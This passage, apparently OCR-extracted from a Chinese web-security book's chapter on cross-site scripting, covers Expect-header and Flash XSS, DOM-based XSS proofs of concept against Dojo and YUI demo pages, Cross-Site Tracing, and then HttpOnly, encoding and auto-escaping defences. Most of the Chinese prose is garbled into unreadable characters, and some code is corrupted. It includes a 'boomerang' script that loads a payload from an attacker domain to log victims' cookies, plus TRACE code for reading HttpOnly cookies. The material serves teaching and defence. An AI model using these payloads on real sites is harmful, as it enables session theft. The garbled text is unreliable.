GET / HTTP/1.1

Accept: */*

Accept-Language: en-gb

Content-Type: application/x-www-form-urlencoded

Expect: <script>alert('http://www.whiteacid.org is vulnerable to the Expect Header
vulnerability.') ;</script>

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NETCLR2.0.50727; .NET
CLR 1.1.4322)

Host: www.whiteacid.org

Connection: Keep-Alive

J 55 sk [e]

HTTP/1.1 417 Expectation Failed

Date: Thu, 21 Sep 2006 20:44:52 GMT

Server: Apache/1.3.33 (Unix) mod throttle/3.1.2 DAV/1.0.3 mod fastcgi/2.4.2
mod gzip/1.3.26.1a PHP/4.4.2 mod ssl1/2.8.22 OpenSSL/0.9.7e

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

1ba

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>

<TITLE>417 Expectation Failed</TITLE>
</HEAD><BODY>

<H1>Expectation Failed</H1>

The expectation given in the Expect request-header

field could not be met by this server.<P>

The client sent<PRE>

Expect: <script>alert('http://www.whiteacid.org is vulnerable to the Expect Header
vulnerability.') ;</script>
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</PRE>

but we only allow the 100-continue expectation.
</BODY></HTML>

0

HEBIRSS A AL AR PTIN, 24 Bxpect Sk N AARZATATAEIE S AT, it
Expect Sk HH ¥ HTML AR sl i b st AT 1o

X Apache FIIRI, SEMITE AT ). WIXANBOld FEnT LA, /5 ZEAERRATTRIN [
HTTP ki K8, A fefl X Ml . (HX) T XSS Briikiid, JavaScript TAEAETE G
Ja R SR R R, TCVERE I SR ) HTTP Sko PRI, TN B 28— RN A2
“HSR” I o

G K229 Amit Klein 321 T “f#H Flash #i&35 k7 0773, EIhHAIH 73X AN
W, AR N E!

fE£ Flash T A% HTTP 15K, FTLLEE K2 H0 HTTP k. 417 F & Amit Klein fJ37R
4%5%:
//Credits to Amit Klein as he wrote this, I just decompiled it
inURL = this. url;
inPOS = inURL.lastIndexOf ("2");
inParam = inURL.substring (inPOS + 1, inPOS.length);
req = new LoadVars () ;
req.addRequestHeader ("Expect", "<script>alert(\'" + inParam + " is vulnerable to the

Expect Header vulnerability.\ ') ;</script>");
req.send(inParam, " blank", "POST");

IEBIA UL, Flash fEB A Th AR IR P B k% Expect ko ARG R R I A] LUR A A
HTTP k175 X Ged x4 il :

req.addRequestHeader ("Expect:FooBar", "<script>alert ('XSS')</script>") ;

H H Flash LB M T IX 28 i) 1

IR, e n] LLidiid Java Applet Z5443& HTTP 15 K K 55 = J7 ik e
3.2.7.2 Anehta B[E]hEEE

PR XSS AT AT e A7 Y XSS —FERI R ZERI I SO R XSS A — M Ffiff
XSS o EANK BT, WLMEEE LI XSS BdiF & (Anehta) *P{EHIE, EH K
LREZPI )75

PR Ay 0 s [R5 SR s 1 JE AL, XSS 0 52 28] [ 5t SR (1) B oil—— & AR AE A 38111 XSS 1R A
M B .

[T i ot . WUERAE B 3 EAFAE DRI “XSS_B”, 1E A S FA7AE— MFf Y
“XSS_A”, AP Ui A SRR “XSS_A” I, [FIHRN B 385 B “XSS B, WA LAk #I{E
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A B XSS B B HH B H B .

FAENE, fFIE h, <iframe>. <img>. <link>ZFFREEHFSPIMR “ 45 =J7 Cookie” &%,
M AE Firefox HUJCXFFPR#] (55 =5 Cookie RIFERATAEA IS Cookie, 245 2s W E T
expire I [f1] ¥ Cookie) .

It LA, % T Firefox SRt , ZESEHLAN SR A RCR AR {7 4, I 2EE XSS_A Zbik A\ — > iframe
Rpa]

<iframe src="http://www.b.com/?xss...." ></iframe>

EEXS T 1B Sk, WIZERRBURZ .y TIEFIHAT XSS B I H K, AT LA —><form>
P&, AENNSEEREEAL form R, JF AR — 75 Cookie [F1i%

BRIk, SE7E XSS A EEAN—A<form>, HZIHEAH] XSS B, ZRJE7E XSS B k4% ]
JER I XSS A, BEDSERE—A “Rlm” it R . (EE R o (i i 2, R L 1 2 1A i) 1)
IRFL, HFH I8t 27 B0 U A8 Mk A A2 4L

(AT U
var target = "http://www.b.com/xssDemo.html#'><script
src=http://www.a.com/anehta/feed.js></script><'";
var org url = "http://www.a.com/anehta/demo.html";
var target domain = target.split('/'):;
target domain = target domain[2];
var org domain = org url.split('/');

org domain = org domain[2];
[17077177777777777777777777777777777777777777777777777777
// boomerang [RITEEALEL, FRENEE =77 el riffiCookie

VZAE: &I e B S )

/] EERTRRE RAEE— XSS

//// BAuthor: axis

1171771777 7777777777777777777777777777777777777777777777

// AR R IUD,  WE) HAR RS
if ($d.domain == org domain) {
if (anehta.dom.checkCookie ("boomerang") == false) {
// fECookieBtbric, Hif—Ik
anehta.dom.addCookie ("boomerang", "x");
setTimeout ( function () {
try {
anehta.net.postForm(target) ;
} catch (e) {
//alert (e);
}
b
50) ;
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// WS E bR, R E ) Bl FT 0L
if (Sd.domain == target domain) {
anehta.logger.logCookie () ;
setTimeout ( function () {
// PRIE]E R

anehta.net.postForm(org url);

}I
50) ;

AR AEAE B 38 4R E]—A> 302 BEE R ITI, A IANEE ] form 290, SXFESBINT5 {8

HAR “PIEER” HAR e SR A 5, EARRER SO XSS HRCRARAS SN
Hzhtk.

XSS Pl A Web 224zl i, ANBERAE KIA IS R R T g i % B Ab . B
BRI RS, L ORI AT i, thVr AN P s

3.2.8 EFHWZUHIFAE: Flash XSS

B SCHERIAT XSS B #h 23+ HTML 1, HSZFE Flash 1 [RIFE A 1T GE i % XSS B o

E Flash H 2 7] LUk A\ ActionScript JAIAS[K) . — AN ML Flash XSS A LLXAE S

getURL ("javascript:alert (document.cookie)")

# Flash #x A DL 2

<embed src="http://yourhost/evil.swf"
pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1l Prod Version=S
hockwaveFlash"

type="application/x-shockwave-flash"

width="0"

height="0"

></embed>

ActionScript & FhAEH SR AN AT IA,  FLaw] DU e Ao Mg 4, BRI %R
A REHBAE LT e LA B4 B e SCT Flash SCIF

T Flash SCAFWILERS, BT LAZESEIL XSS Filter I, — #8424k H<embed>. <object>%%
FR%. o EER AT LU ActiveX #5114, Befg ™ Az H N AL .

R N e AT Flash A Jp? — kit W SANSOGE S, B K A ht
J3 Aty SO flv OSSO, Aeredw el RN B A MAR Flash, WALl
1T Flash PR E S E0EAT IR

LR Flash RS0 R .

<object classid="clsid:d27cdbbe-aeb6d-11cf-96b8-444553540000"
codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#versi
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on=8,0,0,0"
name="Main" width="1000" height="600" align="middle" id="Main">

<embed flashvars="site=&sitename=" src='Loading.swf?user=453156346"' width="1000"
height="600" align="middle" quality="high" name="Main" allowscriptaccess="sameDomain"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer" />

</object>

PR Flash 525 BAS 1) £ B2 ) S 50U “allowScriptAccess 7, iX/NS45¢ X T Flash fig 5 5
HTML G EATIEAS . B AT

O always, XI5 HTML [ (5 Bt e AT JavaScript ASEAT AT FR 5
O sameDomain, H 1K B F Ak Flash 5 Html 15, X 2&B0AME
O never, Z5X12%1E Flash 571 (S .

i always AR SRR 1), — B never. WIERAEN sameDomain 1%, 11545 2
& Flash SCHAEH P A& oK.

¥ T “allowScriptAccess” #F, “allowNetworking” tIEH S, XS EHEISH] Flash 5
AR ST o« EAT = A

O all, AVHERFTA WM, HBEBRAME:

O internal, Flash ANAE 530 % 2%38 15 1 navigateToURL, {H & nJ L ] HoAd () API;

O none, A& ILATA] [ 4411 -

— R A BEE A none B4 internal. BEE N all A AEA K 242 n) i

K& 7 F P ) Flash SCHFRERS St AR K 548, —2% Flash ] g2 =42 XSS Jeild. HUWIR
ActionScript 13 :

on (release) {
getURL (_root.clickTAG, " blank");
}

XBACS L H M BLAE) 15 1 Flash 1, HITHEHIH 7 S 5 ) URL . H & IX BRI 8= i
NEGAE, TTLA#E XSS Hili:
http://url/to/flash-file.swf?clickTAG=javascript:alert ('xss')

2 %‘ Stefano Di Paola 45 T —AN1Y “SWFIntruder” ' (1 T E A 2= 2E 7F Flash
B XSS il XA T E AT LRI AR 2238\ Flash A2 53301 XSS i)

10 https://www.owasp.org/index.php/Category:SWFIntruder
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Eile Modifica Visualizza Cronologia Segnalibri Strumenti Guida

E- - @ /2 [l ntpusswr.mindedsecurity locigetvars.htmiTswiurl=http%3A%2F%2Fswi.mine | = | b | G-

SWF INTRUDER [-» OWASP @

The Open Web Application Security Project Minded

security

iow ng istory nelp About

Fiash Movie ttpiiswi.mindedsecurity locRestSwiftest.swl |
ver i = ]

L Varlables SWF Instantiated Variables _ | Js/SWF Errors:

[c]_ur rook.varTarget.onLoad

_global.Test :‘;‘:'::p
_root.test reat rarilon
root.obj rool.image_mec
_root.sd root.varTarget
“root.Stage jf’:‘h"l“{;:‘

T T E—
ooy
+ sversion
- LNX 9,0,48,0
= type_string
-
= type_string

rTosend

* $version=LNX 9,0,48,08amp;
= type_tunction

+__resolve

In attesa di SW',mlMEﬂSE(uﬂFy,lﬂ(,,,
SWEFIntruder 1] 5[

FUBANAG R BT, T LU i A e 2 (1 7 ik -

on (release) {

if (_root.clickTAG.substring(0,5)== "http:" ||
_root.clickTAG.substring(0,6)== "https:" ||
_root.clickTAG.substring(0,1)== "/") {

getURL (_root.clickTAG, " blank");
}
}

Flash XSS #: 1 4 IT & 5 il 200 o 7\ Flash A2 1) XSS, KA Fe in) i o I8 AE 9 35 J5 ¥ Flash
S, B T R B A T T B A LU AT, A A TR R 2 AL

OWASP }j Flash Z4WI53 AL T —A Wiki T, A 248 MEEE v LS %
3.29 EWES#IZMLIG: JavaScript FFEZHESE

7t Web Hiuii P&, —2% JavaScript FFARMEALRSZ TR FH WM. FH JavaScript JF & HESL
R RO T RE, AT LA BRI T ] v b 0 i o A

— MR, BRI JavaScript JFARHEALHI S B H S . RS EANSR, &
TR SIBEE . 4 JavaScript FF AR HESEL L ¥ 5 i ik — 2 XSS Yl .

Dojo

Dojo J&—/MAAT ¥ JavaScript JFAMESE, & 8 # KINAFLE XSS Jwill. 7E Dojo 1.4.1 1, 17

11 https://www.owasp.org/index.php/Category:OWASP_Flash_Security Project
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HFH “DOM Based XSS”:

File: dojo-release-1.4.1l-src\dojo-release-1.4.1-src\dijit\tests\ testCommon.js

i N theme ZEUE N, AR5 #RE 2545 & themeCss, 244 document.write 2 5[] HL :

Line 25:
var str = window.location.href.substr (window.location.href.indexOf ("2")+1) .split (/#/);

Line 54:

..snip..

var themeCss = d.moduleUrl ("dijit.themes", theme+"/"+theme+".css");

var themeCssRtl = d.moduleUrl ("dijit.themes",theme+"/"+theme+" rtl.css");
document.write ('<link rel="stylesheet" type="text/css" href="'+themeCss+'">");
document.write ('<link rel="stylesheet" type="text/css" href="'+themeCssRtl+'">");

JTUANAZGIH T testCommon.js [ 304, #8522 5#% 0, POC 41F:
http://WebApp/dijit/tests/form/test Button.html?theme="/><script>alert (/xss/)</script>
FACLH i RUEAFAE T
File: dojo-release-1.4.1-src\dojo-release-1.4.1-src\util\doh\runner.html

‘B E M window.location £ A\ T H F HEUS ¥ HIRIBHE, Fx 4% document.write 3 TLTH :

Line 40:
var gstr = window.location.search.substr(1l);
..snip..

Line 64:

document.write ("<scr"+"ipt type='text/javascript' djConfig='isDebug: true'
src=""+dojoUrl+"'></scr"+"ipt>") ;

..snip..

document.write ("<scr"+"ipt type='text/javascript' src='"+testUrl+".js'></scr"+"ipt>");

POC WI'F:

http://WebApp/util/doh/runner.html?dojoUrl="/>foo</script><"
"<script>alert (/xss/)</script>

XL EAE Dojo 1.4.2 MAH O8NS Ah . (H2NIX LY nT LLA 2], 1] JavaScript
TERAESAD AR S oM, 75 BRI DI W] BE H IR 22 4 )

YUI
HHE YUI (1 bugtracker, 1 a] LU ZIZRALL Dojo [ ]

7E YUI 2.8.1 P £ fix i —~ “DOM Based XSS”. YUI HJ History Manager Ij g 15 1X £
—ANEE, ATIFE T demo UL

http://developer.yahoo.com/yui/examples/history/history-navbar source.html

s Tab U0, SEAFUIINESEK )G, £ URL 1 hash FPHii AKEAIA . i) XSS
wr:

http://developer.yahoo.com/yui/examples/history/history-navbar source.html#navbar=hom
e<script>alert(l)</script>
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PHIACKE A5 230 AT o LR R AE history.js [1)_updatelframe 7772 EAT T H 7 a4 i 148 .

html = '<html><body><div id="state">' + fgstate + '</div></body></html>;
A B AR U S BUAPAT . YUI 1E4N7 202 51T T htmlEscape.
jQuery

jQuery 7] fiESE H BT ERAT I JavaScript HEZZ . ‘& A B HUI KT XSS iR Do HIE T R E N
AR, JavaScript HEZE FUE X JavaScript 155 AN G 3 2E, I REM A& 4 = A4 /Y
). P DA R B S R A A e A i i 1 OB BT £

7 jQuery H A html()/7¥. XANINEMREASH, wdii—1 DOM ¥ i)
innerHTML; WA S, WSS HUES AN i% DOM 5 11 innerHTML H o IXANEFE A5 af
fier“ 4 “DOM Based XSS”:

$('div.demo-container') .html ("<img src=# onerror=alert(l) />");
Wk, WP RE I N, WA 2 A XSS FE I R F v 7 B X )
{f /] JavaScript HEAEFEAGELL I R A @ALTCIL, [FIFE R REAFAE A, B T 75 22 G HE
PR GW4h, JFRECER G ZARER, I IEMHE T RAESE .

3.3 XSS BYBS51E

XSS 15 AR o

TAT X SRR T — 28X bt XSS B4iti, Lol Firefox ) CSP. Noscript 97 )i, IE 8
P XSS Filter 55 o 160 T Ml e i, NZFHRALTE R IT %8, R P Ak XSS Beiti.
FEAA A, F2 R I TBE ] Ay Wi e v 22 4 ) XSS 7 % e
3.3.1 MAELTT: HitpOnly

HttpOnly 5 & AR SE H, JHAE IE 6 WPsEIL), 24 CEEW oy — AN FrifE. J W8k
A%\ G Y JavaScript Vi 191745 HttpOnly J& PE[#) Cookie-

DL 30 B8 2% 146 3 FF HitpOnly:
O Microsoft IE 6 SP1+

O Mozilla Firefox 2.0.0.5+

O Mozilla Firefox 3.0.0.6+

O Google Chrome

O Apple Safari 4.0+
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O Opera 9.5+
ks MU, HitpOnly JFAE4 T 45T XSS——HttpOnly ## i) JE XSS J ) Cookie HFHili.

7E “HHR XSS Payload” —FiH1, 8y sk “ @i XSS iHUH ' (1) Cookie, 2R &%
HEZH PRk 7. HURZ Cookie BE'E T HttpOnly, WIIXFh X2k, K12k JavaScript &2
HUANE Cookie MHIH

—> Cookie MMEFHILREAT .

Stepl: %T %% ] IR 4525 KR, IXIHEARAT Cookieo

Step2: HR45#eIR AN} %1% Set-Cookie 3k, [ % /i i Ba %85 N\ Cookie.

Step3: 1% Cookie ZIIHT, VLA V7 M3 T 1) P 5L, #0H & %% Cookies

HttpOnly & 7E Set-Cookie I A5 ic [1:

Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain name>]
[; path=<some path>][; secure][; HttpOnly]

i BRI 2, RGBS W E 2 Cookie (£ key-value XJ), 1M HitpOnly AJ LLAT
ERENE L INAEATAT—A> Cookie {H .

LE G, I v] fE 75 22 JavaScript 15 1) % JLII Cookie, iX Ff Cookie 7] LAAN3E E HitpOnly
Frid; AT HttpOnly #ric 45 F T IAE ) 8 Cookieo

HttpOnly (1 HIAEH R . 41~ & — ML A HitpOnly #id .
<?php

header ("Set-Cookie: cookiel=testl;");
header ("Set-Cookie: cookie2=test2;httponly", false);

?>

<script>
alert (document.cookie) ;
</script>

TEIXBARRS T, cookiel AT HitpOnly, cookie2 #Axnic 4 HitpOnly. P~ Cookie #4455
]\{XJ A

URL RE o

= http:/ /wemw.a.com/test.phi 200 0K a.com
Headers WAf HTML Cookies

W58

Date Thm, 29 Jul 2010 02:22:52 GAT
Server Apache/2.0.63 (Rin3z) PHP/S. 2.6
X-Powered-By FHF/S 2.6
Set-Cookie cookiel=testl;
cookie?=test2; httponly
Content-Length 50
Keep-Alive timeout=i5, maz=100
Connection Keep—ilive
Content-Type text/html

T DO HTTP Wi Sk
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WA S T S Cookies:

- —_—
ér'? BHE& BT c©s5 MK DOX P Events | Cookies~w |

£# A .3 X4 12 L 1% Http

+ cookie2 testz WL &, COM 128 | #iF Hetponly
* cookiel test1 VAN, COM 128 | i

D BRI EPIAS Cookie
{HJE KA cookiel #f JavaScript SEHLF):

#H8 bttp:ffwer. a. con FIW M il

1, cookiel=testl

cookiel #% JavaScript F2HX
HttpOnly 2 2] 7 NA HEH .
EAFIFESH, % Cookie ¥ il HttpOnly FUACHIS 1T

Java EE

response.setHeader ("Set-Cookie", "cookiename=value; Path=/;Domain=domainvalue;Max-Ag
e=seconds; HTTPOnly") ;

C#

HttpCookie myCookie = new HttpCookie ("myCookie");
myCookie.HttpOnly = true;
Response.AppendCookie (myCookie) ;

VB.NET

Dim myCookie As HttpCookie = new HttpCookie ("myCookie")
myCookie.HttpOnly = True
Response.AppendCookie (myCookie)

{HZAENET 1.1 h B Fa3han:

Response.Cookies[cookie] .Path += ";HTTPOnly";

PHP 4

header ("Set-Cookie: hidden=value; httpOnly") ;

PHP 5

setcookie ("abc", "test", NULL, NULL, NULL, NULL, TRUE);
B Ja— 240k HitpOnly JE1E.

3N HitpOnly IR, RCRWIL, AnlUPHE T 7o ERAEREN G LT, Rl
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FAEH R A%, WIFFEALETA Set-Cookie [F1H1)7, 45 X% Cookie #I I HitpOnly. Jsi T—A>
75, HRTREATAX AN T R

e LS, el L hgigSeid HitpOnly fYXLdi ik,

Apache SZFFff)—/> Header /& TRACE. TRACE — &M Tk, &4k kIEh HTTP
Response Body &[],

$ telnet foo.com 80
Trying 127.0.0.1...
Connected to foo.bar.
Escape character is ‘~]7.
TRACE / HTTP/1.1

Host: foo.bar

X-Header: test

HTTP/1.1 200 OK

Date: Mon, 02 Dec 2002 19:24:51 GMT
Server: Apache/2.0.40 (Unix)
Content-Type: message/http

TRACE / HTTP/1.1
Host: foo.bar
X-Header: test

FIFIXAMEEYE, AT LAE HitpOnly Cookie 2 Hi2K .

<script type="text/javascript">

K==

function sendTrace () {
var xmlHttp = new ActiveXObject ("Microsoft.XMLHTTP") ;
xmlHttp.open ("TRACE", "http://foo.bar", false);
xmlHttp.send() ;
xmlDoc=xmlHttp.responseText;
alert (xmlDoc) ;

}

/===

</script>

<INPUT TYPE=BUTTON OnClick="sendTrace () ;" VALUE="Send Trace Request">

gERR

Microsoft Internet Explorer ‘EI
‘¥ TRACE f HTTRI1.1
] Acgept *[*
=L anguage: rel_319%eb5231;q=0.0,rs2_ 8482007422 q=0.0,rs3_S024d4c595,q=0.0
Risferer: &

Accept-Encoding: gzip, deflate
UsersAgent: Maozllaj<. 0 (compatibhe; MSIE 6.0; Windows NT 5.0)
b

Hast: =
Content-Length: 0
Connection; Keep-Alive
Lo ; s - e
ankis: SWID=0CESTO08-03F4-40E5-B042-B007E44C4291; DETE!.‘.I'-LB.C&HBHMIHG%

JavaScript E2H #] cookie
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HAr&) m# S ah 7 eimil, (HR AR RWVFIE A BT H L. DAL A 45 0
Mk 455 N HetpOnly Cookie L&A —Fh “AnifE” Mk

/%, HttpOnly A2 JTHEN, ¥ T HetpOnly ANZE Tl vk T XSS ).

XSS Brdifi RAJAIEIE Cookie MFFIEL, LA GIHHIE L BEHUH - By AT A 5
WEEME R WRrsoTiR, BGEEFIH AJAX WiE HTTP Uik, LU G400 58 A,
HLETEAAEEF P Cookie IR NHEATI

1§ F HttpOnly & B T 22 XSS Brs, {HA53R T ZHAD RS i vl XSS Jmili 17 %o
3.3.2 HAKE

HOLE Web i i1 XSS SQL Injection 4%, #RER B & Mit —LURp R 747, IXLURpIR 7
BEAEIEH AN R, B AR B A AF AR L2 T .

K, ERZIHEB A T A B, HEMEE S %, Sk
BRI B RE BUAA S . Lhll “hellol234” 22— ANEVERIH 4, 1 “hello#$”” mii&
—MEER S 4.

)

SAEMS SIS RRE BE AR, A e, TS, N
RAKT 16 (L%, HA EREBX I TSR T REZ 13x. 15x TFkIN, ARG AR .

Xk AR A, ARG R CEA R, T DL SR AR AT A B R AL
SN IE A, LIRS IR S5 s ARG T S B W SRR AE R A JavaScript #EAT
BNKL Y, RARAS WSS N . AT Web JFR Mm%, & [RIINAE% P Ui JavaScript

Hh ORI S5 s g A R b SEIUAH R (R AR B . %% )7 3 JavaScript (RIS AT, AT LARHAS HE S
BRAEIOIER ™, T 2 5545 BE

fE XSS P L, SR E o N B R s R AT,
<v >0 T IRV DUAEAERE IR AT, DR IR A L e B G

FERE REI) “HIARS Y7, WREIESSULES XSS MUARRE. elndr R S Hdnth R as T

”» €«

“<seript>"\ “javascript” UK T .
RN A 17 38, ATLARRA “XSS Filter 7. FLHE AR Z FFIRIK “XSS Filter” (15250«

XSS Filter 76 A B I SR I AR &, b T XSS #r ey (HIbI S Bl % g5 A
YL HTML 85, At XSS Filter MHEBS BRI 2R,

Lban R x4~ XSS Jmi:

<script src="$var" ></script>
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Horp “Svar” EH P AT AR AR . P TR B A AN B R AR BT AE Y URL bk, Hp
] SZiE XSS Wik

W A2 RIER) XSS Filter, WIJCEAE SR Kb (ffm a8, i BeE B 3248
TN URL, MURATRESIIR. BUAFERZHGOL R, URL 2 FhavA I - £l

XSS Filter i A7 A JE——HXF “<”, “>7 SR PAFRGALBE, W] Rg o SO HE T .

teann, H A
1+1<3

% T XSS Filter SKit, KILTHURKFRE “<”, Wi XSS Filter AN “21H8”, 5% yEuL
BRI T “<”, WIATRES U H P R A = I

WNEE, B e SR RIEZ Ay, AN BB ] RES AR, fn S AR 1
A, WIATRES B ) 8,

ELan 7 i “HRRR . SRR 2 TUIHE T RS, (B EREANTORNK 37 5 il e A S AR, s

I PR T SRAANAH F] o an AR B 7 48— B i 1 oss, B JEaR iy, mlRgssad 2
1A

P S NI FR R
$nickname = 'FJE"KAM™

WA XSS Filter S0 X055 347 X
$nickname = 'RIE\"KA\"'

76 HTML X35 1 e /s i -
<div>IE\" KA\ "<div>

7 JavaScript {8H5 - 7RI :
<script>
var nick = 'EE\"RKA\"';

document.write (nick);
</script>

KBRS, 2 B g

PAEN RAN
AR

AR ERAGE R R R
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3.3.3 HmHKE
RESR “Bn AR A fFAERXAZ W, A “Hisd” Xuiame?

— R, BR TR SRR AN, EAR R E] HTML Uy, w] U g it s S
77 R B XSS Kt .

3.3.3.1 ZEHIRIZER L
gt IR Z M, &% HTML RS A 2w 5 =& HtmlEncode.

HtmlEncode 3 4F% 40, ‘& K& — M R Bl & AE &% 7454 . 1% HTMLEntities,
Hof N B RUE 72 1SO-8859-1.

T XL XSS, {E HtmlEncode H R 43 D348 LU 745
& --> &amp;
<--> &lt;
> > &et;
" --> &quot;
"> &#HX2T; &apos; NHEF
/ --> &#x2F; 05 SOR et I R e AT g2 T 5 — 2% HTML entity
7¢ PHP ', f5 htmlentities() A1 htmlspecialchars() PN BT LA 2 24225k .
FARN: ML, JavaScript ) gh4 7 2 n] LA H JavascriptEncode.

JavascriptEncode 5 HtmlEncode (Mgt 77 iEAR], ERGEATA] “\7 SRR AR AT X
TEXSPL XSS I, IEESRE AR AR S NS, DA e Al . LB T PR S
s
vaE 5 o ecnseUavascEleE Sl
var y = '"'tescapeJavascript (Sevil)+'"';

IR escapelavascript() AU LT JIAMER7ZAF, b, 7 <o >0\ & # %, B4
T A AT A A S T RE s AR B
var x = l;alert(2);
var y = "l;alert (2)";

HATHATHSNOAS T s 38 AT 2. 0T a4, Bok & R AR 515 1
BN e P R i E 75
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var y = "\";alert (1);\/\/";

Bt ALK A ] JavascriptEncode [748 &4 H— 2@ EAES 5 N .

ARAR 2 T R A BT IEA B A J0? Xt H B H — /N B ™ 4% 1 JavascriptEncode BA
BORDRE 22— THCS . FRAMO T 245, #AEH o8l “\xHH” 1977 XA T S i o
TEAA]

var x = l;alert(2);

ARRT :

var x = 1\x3balert\x282\x29;
W AR T DLORAIE 2 22 221

#£ OWASP ESAPI 195 /™22 4[] JavascriptEncode [FSEZHL, % 4% .

/**
* {@inheritDoc}

* Returns backslash encoded numeric format. Does not use backslash character escapes
* such as, \" or \' as these may cause parsing problems. For example, if a javascript
* attribute, such as onmouseover, contains a \" that will close the entire attribute and
* allow an attacker to inject another script attribute.

*

* @param immune

=Y

public String encodeCharacter( char[] immune, Character c ) {

// check for immune characters
if ( containsCharacter(c, immune ) ) {
return ""+c;

// check for alphanumeric characters
String hex = Codec.getHexForNonAlphanumeric(c);
if ( hex == null ) {

return ""+c;

// Do not use these shortcuts as they can be used to break out of a context

// if ( ch == 0x00 ) return "\\O";
// if ( ch == 0x08 ) return "\\b";
// if ( ch == 0x09 ) return "\\t";
// if ( ch == 0x0a ) return "\\n";
// if ( ch == 0x0b ) return "\\v";
// if ( ch == 0x0c ) return "\\f";
// if ( ch == 0x0d ) return "\\r";
// if ( ch == 0x22 ) return "\\\"";
// if ( ch == 0x27 ) return "\\'";
// if ( ch == 0x5c ) return "\\\\";

// encode up to 256 with \\xHH

12 https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security API
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String temp = Integer.toHexString(c);
if (¢ < 256 ) {
String pad = "00".substring(temp.length() );
return "\\x" + pad + temp.toUpperCase();
}

// otherwise encode with \\uHHHH
String pad = "0000".substring (temp.length() );

return "\\u" + pad + temp.toUpperCase() ;
}

Kk 7 HtmlEncode. JavascriptEncode #I, A7 VF 2 H T % Fi g OO 10 9 b5 o8 £, b
XMLEncode (H:5ZH5 HtmlEncode Z8L). JSONEncode (5 JavascriptEncode ZfbL) 4.

1E “Apache Common Lang” ] “StringEscapeUtils” H., #ft T1F% escape K%L,

import org.apache.commons.lang.StringEscapeUtils;
public class StringUtilsEscapeExampleVl {
public static void main(String argsl[]) {
String unescapedJava = "Are you for real?";

System.err.println(StringEscapeUtils.escapeJava (unescapedJdava)) ;

String unescapedJavaScript = "What's in a name?";
System.err.println (StringEscapeUtils.escapeJdavaScript (unescapedJavaScript)) ;

String unescapedSgl = "Mc'Williams";
System.err.println (StringEscapeUtils.escapeSql (unescapedSql)) ;

String unescapedXML = "<data>";
System.err.println (StringEscapeUtils.escapeXml (unescapedXML)) ;

String unescapedHTML = "<data>";
System.err.println(StringEscapeUtils.escapeHtml (unescapedHTML) ) ;

A DAAETE 2 IR DU 2 G 2 1) R A 7 BRI » G b R B K B T RE 2 R AR e,
M EEHSE LT e . ARSI 7 ZE RN, U™ A A Z 1 bug.

3.3.3.2 HRE—Fhimagng
XSS Wi FHERAEAE MVC ZER T () View |2 KEB20 ) XSS il 7T LAZEREAR RGP i v

7E Python [¥JJF K HEZE Django H i AR R4 “Django Templates” 1, A LMEH escape
4T HtmlEncode. Lb1:

{{ var|escape }}

XEEEAS &, 24 HtmlEncode 4if .

X —FFELE Django 1.0 T 33 7 nss——BRA T L B escape. IXAMIE 2 AT
MIEW], EfFE  “Secure By Default” JRIU.
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7t Python [ —/MHESL web2py ', tHERIA escape T I MNAL . & web2py %43
Firh, XA

web2py, by default, escapes all variables rendered in the view, thus preventing XSS.

Django Fl web2py #BikFAE View /2= ERIA HtmlEncode FT5 48 i LK Pt XSS, A AR
H2, 15 web2py XFEIAAIX AR T XSS [, AR 10U A

HISCHER], XSS RARE IR, FH2 A Lm0y Efr %S 707 H& Tl
AT

<body>
<a href=# onclick="alert ('Svar');" >test</a>
</body>
TFRBEAEERNWBARIE, HP S G, fHAss “Svar” NA. nlEH P SR
Svar = htmlencode ("');alert('2");
$ARE “$var” HEAT HtmlEncode J&, JEHLM) 45 RS2
<body>

<a href=# onclick="alert ('&#x27;&#x29; &#x3b;alerts#x28; s#x27;2");" >test</a>
</body>

XT3 W AR ok U, htmlparser 235G T JavaScript Parser #4047, Jf AT FE &, Y
HtmlEncode [ 7“FF5e#i S, SRJ5HAT JavaScript Fi44.

Rk, 2604 htmlparser fi# 87 )5 AH24 T

<body>
<a href=# onclick="alert ('');alert('2');" >test</a>
</body>

JRINLE onclick HFFHFEAN T XSS AR !
B URBHAAE «

e‘ ""1 @ @O DU U{. L ¢ I_I_I http:/fwww. a com/test, himl#

PATE A alert

o HRHE
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PATEE A alert

FH XSS Bl AR, 2 TR A AR R T B L R IR AR A AR S |
T auto-escape /T F+ KT T, XSS 1B HFE 2L DX 201 A5 o

3.3.4 1E#AMBATE XSS

J T SEAF R XSS BT 4, T EINIGE XSS AR A TR

XSS FIAFUE & —Ff “HTML v EN”, H P A8 4 5 T HTML AU — 35820 k7, M
MR T IRARRITE S, P24 T HiiE .

WA T MVC 288, I8 XSS #t kK AEAE View JZ2—E N H #2458 8 %) HTML 71
T P24 o B DAAE P 3R A B AL B T4 NS B 1) 5 %8, JLS I AN S A8 L 1E R AR it 1) b 7 it
1577 £

FHEMIVA XSS W8, ALK H BT XSS Al Re kAR, Rk,

R AR “Svar” FRoRH S EE, ER AR TSN HTML AU, Al REAFE L F 5.
£ HTML #r& % H

<div>$var</div>
<a href=# >$var</a>

PIRATFERRRE i i A, IR AT AL B, #RE T B8 4 XSS,

FERXF T, XSS BRI o it — S <script>Hras, B AL AENS ™ LA
AT Bt

<div><script>alert (/xss/)</script></div>

i

<a href=# ><img src=# onerror=alert(l) /></a>

575 1 7 ¥ A ) A% H 4 ] HtmlEncode

£ HTML J& ¥

<div id="abc" name="S$var" ></div>
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55 HTML bR2s i 2800, m] e Beli Jii:

<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>

95 i 7 ¥2: 48 72 K | HtmlEncode.

7E OWASP ESAPI 77 T —Fh 8 4% (] HtmlEncode——F& T FRF. B4, HAbFf 1
Rk AR 8 gm TS i, HTMLEntities

String safe = ESAPI.encoder () .encodeForHTMLAttribute ( request.getParameter ( "input" ) );

Xl A T3 2, AT AGRAIEAS 2 H DA A 22 4 i)

fE<script>Hr& i H
TE<script>Hr2E o I, B SEAEZA OR g AR B AR S
<script>
var x = "$var";
</script>
Yok & 75 25 5 515 A g St XSS Brihi:
<script>
